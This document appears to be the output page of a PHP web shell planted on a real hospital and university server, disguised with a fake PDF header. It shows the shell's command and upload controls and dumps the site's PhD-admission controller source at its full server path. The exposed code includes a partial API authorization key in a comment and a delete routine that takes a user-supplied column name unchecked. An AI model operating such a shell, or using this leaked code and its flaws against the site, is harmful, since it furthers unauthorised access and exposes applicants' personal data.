%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/Phdform.php
<?php
class Phdform extends MY_Controller {
	function __construct() {
        parent::__construct();
        //not_logged_res();
        ini_set('memory_limit', '1024M');
	    set_time_limit(0);
		$this->load->model('phdform_model', 'phd');
    }
	
	function init(){
        $res=['success'=>true, 'msg'=>'Error!', 'dds'=>[]];
        
        $res['dds']['acs']=$this->phd->acs();
        $res['dds']['disciplines']=$this->phd->disciplines();
        $res['dds']['programs']=$this->phd->programs();
        $res['dds']['plans']=$this->phd->plans();
        
        $res['dds']['states']=$this->phd->states();
        $res['dds']['cities']=$this->phd->cities();

        $res['dds']['boards']=$this->phd->boards();
		$res['dds']['universities']=$this->phd->universities();
        $res['dds']['marking_schemes']=$this->phd->marking_schemes();
        $res['dds']['marking_schemes_values']=key_val_array($this->db->select("id, allowed_data")->get("master_marking_schemes")->result_array(), 'id', 'allowed_data');
        foreach($res['dds']['marking_schemes_values'] as $k=>$v){
            $res['dds']['marking_schemes_values'][$k]=explode(",", $v);
        }
        
        $res['dds']['religions']=$this->phd->religions();
        $res['dds']['applicant_cats']=$this->phd->applicant_cats();

        $res['dds']['pyears']=[];
		for($i=date('Y')+1; $i>=date('Y')-70; $i--){
			$res['dds']['pyears'][]=$i;
        }
        $res['data']=$this->phd->detail();

        if($res['data']['step_completed']===4){
            $res['payTMUrl']=URL.'pay/load_paytm_form/'.APP_ID;
        }

        json_data($res);
    }

    function save_step1(){
        $res=[
            'success'=>false,
            'msg'=>'Error!'
        ];

        $post=trim_array($this->input->post());
        try{
            $adm_dtl=$this->db->select('id,step_completed')
                    ->from('phd_app_form')
                    ->where(['app_id'=>APP_ID])
                    ->limit(1)
                    ->get()->row_array();
            if($adm_dtl && $adm_dtl['step_completed'] == 5){
                throw new \Exception("Form Is Final Submitted, Modification Can't be Done");
            }

            $v = $this->form_validation;

            $v->set_rules('name', 'Full Name', "required", $this->req);
            $v->set_rules('mob', 'Mobile', "required", $this->req);
            $v->set_rules('email', 'Email ID', "required|valid_email", $this->req);
            $v->set_rules('ac_id', 'Academic Career', "required|numeric", $this->req);
            $v->set_rules('program_id', 'Programme', "required|numeric", $this->req);
            $v->set_rules('plan_id', 'Specialization', "required|numeric", $this->req);
            $v->set_rules('dob', "Applicant's DOB", "required", $this->req);
            $v->set_rules('gender', "Applicant's Gender", "required", $this->req);
            $v->set_rules('cat_id', "Applicant's Category", "required|numeric", $this->req);
            $v->set_rules('religion_id', "Applicant's Religion", "required|numeric", $this->req);
            $v->set_rules('address', "Permanent Address", "required", $this->req);
            $v->set_rules('state_id', 'State', "required|numeric", $this->req);
            $v->set_rules('city_id', 'City', "required|numeric", $this->req);
            $v->set_rules('pincode', 'Pincode', "required|numeric", $this->req);
            $v->set_rules('pob', 'Place Of Birth', "required", $this->req);
            $v->set_rules('domicile_state_id', 'Domicile State', "required|numeric", $this->req);
            $v->set_rules('physically_challenged', 'Physically Challenged', "required", $this->req);
            $v->set_rules('nationality', 'Nationality', "required", $this->req);
            $v->set_rules('mother_name', "Mother's Name", "required", $this->req);
            $v->set_rules('mother_qualification', "Mother's Qualification", "required", $this->req);
            $v->set_rules('mother_occupation', "Mother's Occupation", "required", $this->req);
            $v->set_rules('father_name', "Father's Name", "required", $this->req);
            $v->set_rules('father_qualification', "Father's Qualification", "required", $this->req);
            $v->set_rules('father_occupation', "Father's Occupation", "required", $this->req);
            $v->set_rules('house_income', "Household Income (Per Annum)", "required", $this->req);
            $v->set_rules('id_proof', "ID Proof", "required", $this->req);
            $v->set_rules('id_proof_dtl', 'ID Proof Details', "required", $this->req);
            $v->set_rules('abc_id', 'ABC ID', "integer|max_length[12]", $this->req);
            //$v->set_rules('landline', 'Landline No', "required", $this->req);
            //$v->set_rules('parent_mob', "Parent's Mobile No", "required", $this->req);
            //$v->set_rules('parent_email', "Parent's Email Id", "valid_email", $this->req);
            $v->set_rules('source_of_info', "Source of Information", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }else{
                $data=filter_value($post, ['pob','domicile_state_id','physically_challenged','nationality','mother_name','mother_qualification','mother_occupation','father_qualification','father_occupation','house_income','id_proof','id_proof_dtl','landline','parent_mob','parent_email','source_of_info', 'abc_id']);              
                
                $data1=filter_value($post, ['name','mob','email','dob','gender','cat_id','religion_id','address','state_id','city_id','pincode','father_name']);              
                $data1['dob']=to_date_format($data1['dob']);
                $data2=filter_value($post, ['ac_id','program_id','plan_id']);

                if(!$adm_dtl['step_completed']){
                    $data['step_completed']=1;
                    $data['step1date']=currentDT();
                }

                $data['status']='Pending';
                $this->phd->save_step1($data, $data1, $data2);
            }

            $res['msg']="Personal Details Completed Successfully";
            $res['success']=true;

            $st=$this->phd->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

		json_data($res);
    }

    function save_step2(){
        $res=['success'=>false, 'msg'=>'Error!'];

        $zeroCols=[
            'board_id_10th', 'marking_scheme_id_10th', 'school_state_id_10th', 
            'board_id_12th', 'marking_scheme_id_12th', 'school_state_id_12th',
            'university_id_ug', 'marking_scheme_id_ug', 'school_state_id_ug',
            'university_id_pg', 'marking_scheme_id_pg', 'school_state_id_pg',
        ];

        foreach($zeroCols as $c){
            if(!$_POST[$c]){
                $_POST[$c]='';
            }
        }

        $post=trim_array($this->input->post());

        try{
            $adm_dtl = $this->db->select('id,step_completed')
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();
            if($adm_dtl['step_completed'] < 1){
                throw new \Exception("Step1 is Not Completed");
            }else if($adm_dtl['step_completed'] == 5){
                throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v = $this->form_validation;

            $v->set_rules('status_10th', "10th Exam Details (Passed)", "required", $this->req);
            $v->set_rules('board_id_10th', "10th Board", "required|numeric", $this->req);
            $v->set_rules('marking_scheme_id_10th', "10th Marking Scheme", "required", $this->req);
            $v->set_rules('marks_10th', "10th Aggregate %/CGPA/Points", "required", $this->req);
            $v->set_rules('passing_year_10th', "10th Passing Year", "required", $this->req);
            $v->set_rules('school_name_10th', "10th School Name", "required", $this->req);
            $v->set_rules('school_state_id_10th', "10th School State", "required", $this->req);
            $v->set_rules('school_city_10th', "10th School City", "required", $this->req);
            
            /* if($post['board_id_dip']){
                $v->set_rules('status_dip', "Diploma Exam Details", "required", $this->req);
                $v->set_rules('board_id_dip', "Diploma Board", "required", $this->req);
                $v->set_rules('marking_scheme_id_dip', "Diploma Marking Scheme", "required", $this->req);
                $v->set_rules('marks_dip', "Diploma Aggregate %/CGPA/Points", "required", $this->req);
                $v->set_rules('passing_year_dip', "Diploma Passing Year", "required", $this->req);
                $v->set_rules('school_name_dip', "Diploma School Name", "required", $this->req);
                $v->set_rules('school_state_id_dip', "Diploma School State", "required", $this->req);
                $v->set_rules('school_city_dip', "Diploma School City", "required", $this->req);
            }else{ */
                $v->set_rules('status_12th', "12th Exam Details (Passed)", "required", $this->req);
                $v->set_rules('board_id_12th', "12th Board", "required", $this->req);
                $v->set_rules('marking_scheme_id_12th', "12th Marking Scheme", "required", $this->req);
                $v->set_rules('marks_12th', "Aggregate %/CGPA/Points", "required", $this->req);
                $v->set_rules('passing_year_12th', "12th Passing Year", "required", $this->req);
                $v->set_rules('school_name_12th', "12th School Name", "required", $this->req);
                $v->set_rules('school_state_id_12th', "12th School State", "required", $this->req);
                $v->set_rules('school_city_12th', "12th School City", "required", $this->req);
            //}

            $v->set_rules('status_ug', "UG Exam Details (Passed)", "required", $this->req);
            $v->set_rules('university_id_ug', "UG University", "required", $this->req);
            $v->set_rules('marking_scheme_id_ug', "UG Marking Scheme", "required", $this->req);
            $v->set_rules('marks_ug', "Aggregate %/CGPA/Points", "required", $this->req);
            $v->set_rules('passing_year_ug', "UG Passing Year", "required", $this->req);
            $v->set_rules('school_name_ug', "UG School Name", "required", $this->req);
            $v->set_rules('school_state_id_ug', "UG School State", "required", $this->req);
            $v->set_rules('school_city_ug', "UG School City", "required", $this->req);

            $v->set_rules('status_pg', "PG Exam Details (Passed)", "required", $this->req);
            $v->set_rules('university_id_pg', "PG University", "required", $this->req);
            $v->set_rules('marking_scheme_id_pg', "PG Marking Scheme", "required", $this->req);
            $v->set_rules('marks_pg', "Aggregate %/CGPA/Points", "required", $this->req);
            $v->set_rules('passing_year_pg', "PG Passing Year", "required", $this->req);
            $v->set_rules('school_name_pg', "PG School Name", "required", $this->req);
            $v->set_rules('school_state_id_pg', "PG School State", "required", $this->req);
            $v->set_rules('school_city_pg', "PG School City", "required", $this->req);

            $v->set_rules('net', "NET (Yes/No)", "required", $this->req);
            $v->set_rules('gate', "GATE (Yes/No)", "required", $this->req);
            $v->set_rules('slet', "SLET (Yes/No)", "required", $this->req);
            $v->set_rules('mphil', "MPHIL (Yes/No)", "required", $this->req);
            $v->set_rules('other_entrance_exam_dtl', "Any other Entrance Exame (Yes/No)", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }else{
                $data=filter_value($post, [
                        'status_10th','board_id_10th','board_10th','marking_scheme_id_10th','marks_10th','passing_year_10th','school_name_10th','school_state_id_10th','school_city_10th',
                        'status_12th','board_id_12th','board_12th','marking_scheme_id_12th','marks_12th','passing_year_12th','school_name_12th','school_state_id_12th','school_city_12th',
                        'status_dip','board_id_dip','board_dip','marking_scheme_id_dip','marks_dip','passing_year_dip','school_name_dip','school_state_id_dip','school_city_dip',
                        'status_ug','university_id_ug', 'university_ug', 'marking_scheme_id_ug','marks_ug','passing_year_ug','school_name_ug','school_state_id_ug','school_city_ug','degree_name_ug', 
                        'status_pg','university_id_pg', 'university_pg', 'marking_scheme_id_pg','marks_pg','passing_year_pg','school_name_pg','school_state_id_pg','school_city_pg','degree_name_pg',
                        'status_othr','university_id_othr', 'university_othr', 'marking_scheme_id_othr','marks_othr','passing_year_othr','school_name_othr','school_state_id_othr','school_city_othr','degree_name_othr',
                        'pcm','pcb','pcsm','school_no','center_no','roll_no','id_card_no','jee_rank_air','upsee_rank_gen','upsee_rank_biotech','mat_percentile','cat_percentile','xat_percentile',
                        'nata_score', 'clat_score','lsat_score','neet_score','suat_score', 'net', 'gate', 'slet', 'mphil', 'other_entrance_exam_dtl','sibling_studies_here','sibling_name','sibling_relation','sibling_program',
                        'sibling_system_id','sibling_adm_year']);     
                        
                $boards=key_val_array($this->phd->boards(), 'id', 'title');
                $universities=key_val_array($this->phd->universities(), 'id', 'title');
                if(!$data['board_10th']){
                    $data['board_10th']=replace_null($boards[$data['board_id_10th']]);
                }
                if(!$data['board_12th']){
                    $data['board_12th']=replace_null($boards[$data['board_id_12th']]);
                }
                if(!$data['board_dip']){
                    $data['board_dip']=replace_null($boards[$data['board_id_dip']]);
                }
                if(!$data['university_ug']){
                    $data['university_ug']=replace_null($universities[$data['university_id_ug']]);
                }
                if(!$data['university_pg']){
                    $data['university_pg']=replace_null($universities[$data['university_id_pg']]);
                }
                if(!$data['university_othr']){
                    $data['university_othr']=replace_null($universities[$data['university_id_othr']]);
                }
                
                if($adm_dtl['step_completed'] < 2){
                    $data['step_completed']=2;
                    $data['step2date']=currentDT();
                }
                
                $data['status']='Pending';
                $res = $this->phd->save_step2($data);

                $st=$this->phd->get_step_completed();
                $res['step_completed']=$st['step_completed'];
                $res['final_submitted']=$st['final_submitted'];
            }

        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

		json_data($res);
    }

    function save_step3(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir=UP_PATHF.'admissions/';
        $this->load->library('upload');
        try{
            $adm_dtl=$this->db->select('id,profile_photo,signature,step_completed')
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();
            if($adm_dtl['step_completed'] < 2){
                throw new \Exception("Step2 is Not Completed");
            }else if($adm_dtl['step_completed'] == 5){
                throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            if(!$adm_dtl['profile_photo'] && $_FILES['profile_photo']['name'] == '' && $post['el_name']==='profile_photo'){
                throw new \Exception("Profile photo required");
            }

            if(!$adm_dtl['signature'] && $_FILES['signature']['name'] == '' && $post['el_name']==='signature'){
                throw new \Exception("Signature required");
            }
            
            if($_FILES['profile_photo']['name']){
                $file=upload_img('profile_photo',$dir.'profiles/',$this);
                if($adm_dtl['profile_photo']){
                    @unlink($dir.'profiles/'.$adm_dtl['profile_photo']);
                }
                $adm_dtl['profile_photo']=$file;
            }

            if($_FILES['signature']['name']){
                $file=upload_img('signature',$dir.'signatures/',$this);
                if($adm_dtl['signature']){
                    @unlink($dir.'signatures/'.$adm_dtl['signature']);
                }
                $adm_dtl['signature'] = $file;
            }

            if($adm_dtl['step_completed'] < 3 && $adm_dtl['profile_photo'] && $adm_dtl['signature']){
                $adm_dtl['step_completed']=3;
                $adm_dtl['step3date']=currentDT();
            }

            $adm_dtl['status']='Pending';
            $this->dba->save('phd_app_form', $adm_dtl);
            
            if($adm_dtl['profile_photo'] && $adm_dtl['signature']){
                $res['msg']="Photo & Signature Uploaded Successfully";
            }elseif($adm_dtl['profile_photo']){
                $res['msg']="Photo Uploaded Successfully";
            }elseif($adm_dtl['signature']){
                $res['msg']="Signature Uploaded Successfully";
            }
            
            $res['success']=true;
            $res['result']=[
                'signature_url'=>$adm_dtl['signature']?UP_URLF.'admissions/signatures/'.$adm_dtl['signature']:'',
                'profile_photo_url'=>$adm_dtl['profile_photo']?UP_URLF.'admissions/profiles/'.$adm_dtl['profile_photo']:''
            ];

            $st=$this->phd->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function delete_step3_img(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir = UP_PATHF.'admissions/';
        try{
            $adm_dtl=$this->db->select('id, final_submitted, step_completed')
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if($adm_dtl['final_submitted'] == 1){
                throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v=$this->form_validation;

            $field = isset($post['field']) ? $post['field'] : '';
            
            if($field != 'signature' && $field != 'profile_photo'){
                throw new \Exception("Please Send Valid Field");
            }

            $title = ($field == 'signature') ? "Signature Image" : "Profile Photo";
            $folder = ($field == 'signature') ? "signatures/" : "profiles/";

            $adm_dtl = $this->db->select("id,$field")
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if(!$adm_dtl[$field]){
                throw new \Exception("$title Not Found");
            }

            @unlink($dir.$folder.$adm_dtl[$field]);
            

            $adm_dtl[$field] = '';
            $adm_dtl['step_completed']=3;
            $adm_dtl['status']='Pending';
            $this->dba->save('phd_app_form', $adm_dtl);
            
            $res['msg']="$title Deleted Successfully";
            $res['success']=true;

            $st=$this->phd->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function save_step4(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir = UP_PATHF.'admissions/docs/';
        $this->load->library('upload');
        try{
            $f='id, step_completed, marksheet_10th, marksheet_12th, marksheet_ug, marksheet_pg, marksheet_mphil, marksheet_other, id_proof_img, exp_certificate, pg_degree,
                net, gate, slet, mphil, other_entrance_exam_dtl';
            $adm_dtl=$this->db->select($f)
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            $entranceDocReq=$adm_dtl['net']==='Yes' || $adm_dtl['gate']==='Yes' || $adm_dtl['slet']==='Yes' || $adm_dtl['mphil']==='Yes' || $adm_dtl['other_entrance_exam_dtl']==='Yes';

            $v=$this->form_validation;

            if($adm_dtl['step_completed'] < 3){
                throw new \Exception("Step3 Is Not Completed");
            }else if($adm_dtl['step_completed'] == 5){
                throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v->set_rules('key', "Key", "required", $this->req);

            if(!$adm_dtl['marksheet_10th'] && $_FILES['marksheet_10th']['name'] == '' && ($post['el_name']==='marksheet_10th' || $post['el_name']==='Step4')){
                $v->set_rules('marksheet_10th', "10th Certificate", "required", $this->req);
            }
            if(!$adm_dtl['marksheet_12th'] && $_FILES['marksheet_12th']['name'] == '' && ($post['el_name']==='marksheet_12th' || $post['el_name']==='Step4')){
                $v->set_rules('marksheet_12th', "12th Certificate", "required", $this->req);
            }
            if(!$adm_dtl['marksheet_12th'] && $_FILES['marksheet_12th']['name'] == '' && ($post['el_name']==='marksheet_12th' || $post['el_name']==='Step4')){
                $v->set_rules('marksheet_12th', "12th Certificate", "required", $this->req);
            }
            if(!$adm_dtl['id_proof_img'] && $_FILES['id_proof_img']['name'] == '' && ($post['el_name']==='id_proof_img' || $post['el_name']==='Step4')){
                $v->set_rules('id_proof_img', "Aadhar card", "required", $this->req);
            }

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }

            if($_FILES['marksheet_10th']['name']){
                $file=upload_img_pdf('marksheet_10th',$dir,$this);
                if($adm_dtl['marksheet_10th']){
                    @unlink($dir.$adm_dtl['marksheet_10th']);
                }
                $adm_dtl['marksheet_10th'] = $file;
            }

            if($_FILES['marksheet_12th']['name']){
                $file=upload_img_pdf('marksheet_12th',$dir,$this);
                if($adm_dtl['marksheet_12th']){
                    @unlink($dir.$adm_dtl['marksheet_12th']);
                }
                $adm_dtl['marksheet_12th']=$file;
            }

            $adm_dtl['marksheet_ug'].=",";
            foreach($_FILES as $key=>&$FILE){
                $is_marksheet_ug = substr($key,0,13);
                if($is_marksheet_ug == 'marksheet_ug_' && $_FILES[$key]['name'] != ''){
                    $adm_dtl['marksheet_ug'].=upload_img_pdf($key,$dir,$this).",";
                }
            }
            $adm_dtl['marksheet_ug']=trim($adm_dtl['marksheet_ug'],",");

            if($post['el_name']==='Step4' && !$adm_dtl['marksheet_ug']){
                throw new Exception("Graduation marksheet required");
            }

            $adm_dtl['marksheet_pg'].=",";
            foreach($_FILES as $key=>&$FILE){
                $is_marksheet_pg = substr($key,0,13);
                if($is_marksheet_pg == 'marksheet_pg_' && $_FILES[$key]['name'] != ''){
                    $adm_dtl['marksheet_pg'].=upload_img_pdf($key,$dir,$this).",";
                }
            }
            $adm_dtl['marksheet_pg'] = trim($adm_dtl['marksheet_pg'],",");

            if($post['el_name']==='Step4' && !$adm_dtl['marksheet_pg']){
                throw new Exception("Post Graduation marksheet required");
            }

            if($_FILES['pg_degree']['name']){
                $file=upload_img_pdf('pg_degree',$dir,$this);
                if($adm_dtl['pg_degree']){
                    @unlink($dir.$adm_dtl['pg_degree']);
                }
                $adm_dtl['pg_degree']=$file;
            }

            if($_FILES['marksheet_mphil']['name']){
                $file=upload_img_pdf('marksheet_mphil',$dir,$this);
                if($adm_dtl['marksheet_mphil']){
                    @unlink($dir.$adm_dtl['marksheet_mphil']);
                }
                $adm_dtl['marksheet_mphil']=$file;
            }

            if($_FILES['marksheet_other']['name']){
                $file=upload_img_pdf('marksheet_other',$dir,$this);
                if($adm_dtl['marksheet_other']){
                    @unlink($dir.$adm_dtl['marksheet_other']);
                }
                $adm_dtl['marksheet_other']=$file;
            }
            if($entranceDocReq && $post['el_name']==='Step4' && !$adm_dtl['marksheet_other']){
                throw new Exception("NET / SLET / GATE / Other Exam marksheet required");
            }
            
            if($_FILES['id_proof_img']['name']){
                $file=upload_img_pdf('id_proof_img',$dir,$this);
                if($adm_dtl['id_proof_img']){
                    @unlink($dir.$adm_dtl['id_proof_img']);
                }
                $adm_dtl['id_proof_img']=$file;
            }

            if($_FILES['exp_certificate']['name']){
                $file=upload_img_pdf('exp_certificate',$dir,$this);
                if($adm_dtl['exp_certificate']){
                    @unlink($dir.$adm_dtl['exp_certificate']);
                }
                $adm_dtl['exp_certificate']=$file;
            }


            if($post['el_name']==='Step4' && $adm_dtl['step_completed']<=3){
                $adm_dtl['step_completed']=4;
                $adm_dtl['step4date']=currentDT();
            }

            $adm_dtl['status']='Pending';
            $this->dba->save('phd_app_form', $adm_dtl);
            
            $res['msg']="Documents Uploaded Successfully";
            $res['success']=true;
            $res['result'] = [
                'marksheet_10th'=>$adm_dtl['marksheet_10th'],
                'marksheet_10th_url' => $adm_dtl['marksheet_10th']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_10th']:'',
                'marksheet_12th'=>$adm_dtl['marksheet_12th'],
                'marksheet_12th_url' => $adm_dtl['marksheet_12th']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_12th']:'',
                'marksheet_mphil'=>$adm_dtl['marksheet_mphil'],
                'marksheet_mphil_url' => $adm_dtl['marksheet_mphil']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_mphil']:'',
                'marksheet_other'=>$adm_dtl['marksheet_other'],
                'marksheet_other_url' => $adm_dtl['marksheet_other']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_other']:'',
                
                'id_proof_img'=>$adm_dtl['id_proof_img'],
                'id_proof_img_url' => $adm_dtl['id_proof_img']?UP_URLF.'admissions/docs/'.$adm_dtl['id_proof_img']:'',

                'exp_certificate'=>$adm_dtl['exp_certificate'],
                'exp_certificate_url' => $adm_dtl['exp_certificate']?UP_URLF.'admissions/docs/'.$adm_dtl['exp_certificate']:'',

                'pg_degree'=>$adm_dtl['pg_degree'],
                'pg_degree_url' => $adm_dtl['pg_degree']?UP_URLF.'admissions/docs/'.$adm_dtl['pg_degree']:'',
            ];

            if($adm_dtl['marksheet_ug']){
                $marksheet_ug = explode(",",$adm_dtl['marksheet_ug']);
                $adm_dtl['marksheet_ug']=[];
                
                foreach($marksheet_ug as $i=>$r){
                    $res['result']['marksheet_ug'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $res['result']['marksheet_ug'][$i]['name'] = $r;
                }
            }

            if($adm_dtl['marksheet_pg']){
                $marksheet_pg = explode(",",$adm_dtl['marksheet_pg']);
                $adm_dtl['marksheet_pg']=[];
                
                foreach($marksheet_pg as $i=>$r){
                    $res['result']['marksheet_pg'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $res['result']['marksheet_pg'][$i]['name'] = $r;
                }
            }

            $st=$this->phd->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
            if($res['step_completed']===4){
                $res['payTMUrl']=URL.'pay/load_paytm_form/'.APP_ID;
            }
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function delete_doc(){
        $res=['success'=>false, 'msg'=>'Error!'];
        try{
            $adm_dtl=$this->db->select('id, final_submitted, step_completed')
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if($adm_dtl['final_submitted'] == 1){
                throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }
            
            $post=trim_array($this->input->post());
            $dir = UP_PATHF.'admissions/docs/';

            $this->form_validation->set_rules('key', "Key", "required", $this->req);
            $this->form_validation->set_rules('name', "File Name", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }

            $key = $post['key'];
            $adm_dtl=$this->db->select("id, $key")
                ->from('phd_app_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if(!$adm_dtl){
                throw new Exception("Details Not Found");
            }

            

            $files = explode(",",$adm_dtl[$key]);
            //pr($files); die;
            $index = -1;
            foreach($files as $i=>$file){
                if($file == $post['name']){
                    $index = $i;
                    @unlink($dir.$file);
                    break;
                }
            }

            if($index < 0){
                throw new Exception("No File Found");
            }

            unset($files[$index]);
            $adm_dtl[$key] = implode(",", $files);

            $this->dba->save('phd_app_form', $adm_dtl);
            $res['success'] = true;
            $res['msg'] = "File Deleted Successfully";
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function finalSubmit(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $st=$this->phd->get_step_completed();
        if($st['final_submitted']){
            $res['msg']="Already final submitted";
            json_data($res);
        }

        $this->db->where(['app_id'=>APP_ID])->update('phd_app_form', ['final_submitted'=>1, 'updated'=>currentDT(), 'updated_by'=>USER_ID]);
        if($this->db->affected_rows()>0){
            $res['success']=true;
            $res['msg']="Final submission done successfully";
            $res['final_submitted']=1;
        }

        json_data($res);
    }

    function getPaymentInfo(){
        $res=['success'=>true, 'msg'=>''];
        $this->load->model("user_model", "user");
        $appDtl=$this->user->applicationDtl(APP_ID);
        $res['result']=$appDtl;
        json_data($res);
    }

    function admission_form($app_id='', $system_id=''){//213924
        error_reporting(0);
        $url=URL.'admform/download_adm_form_pdf/'.$app_id;
        //$url="https://www.google.com/";
        //$url="http://aweblms.sharda.ac.in/student-panel/api/admform/download_adm_form_pdf/Mjk3Nzgw";

        //ini_set("user_agent" , "Mozilla/3.0\r\nAccept: */*\r\nX-Padding: Foo\r\nAuthorization: key=AAAAiQXvgZA:APA91bGKc12FiRd3l3jzIgMVsF9Dkn25xF\r\nContent-Type: application/json");
        $config=['http'=>['method'=>'GET', 'header'=>"Referer: $url"]];
        $context=stream_context_create($config);
        $fp=fopen('http://pdfcrowd.com/url_to_pdf/?height=-1&use_print_media=1&no_javascript=1', 'r', false, $context);


        header('Content-Type: application/pdf');
        header("Content-Disposition: attachment; filename={$system_id}-admission-form.pdf");
        fpassthru($fp);
        fclose($fp);

        //echo $url;
        die;

        /* $data['dtl']=$this->phd->detail(decode($app_id));
        $html=$this->load->view("pages/adm_form", $data, true);
        echo $html; die;
        create_pdf($html, "admission-card.pdf", "I"); */
    }

    function download_adm_form_pdf($app_id){
        error_reporting(0);
        $data['dtl']=$this->phd->detail(decode($app_id));
        //pr($data['dtl']);
        $html=$this->load->view("pages/phd_adm_form", $data, true);
        echo $html; 
        die;
    }
}

//EOF

Kontol Shell Bypass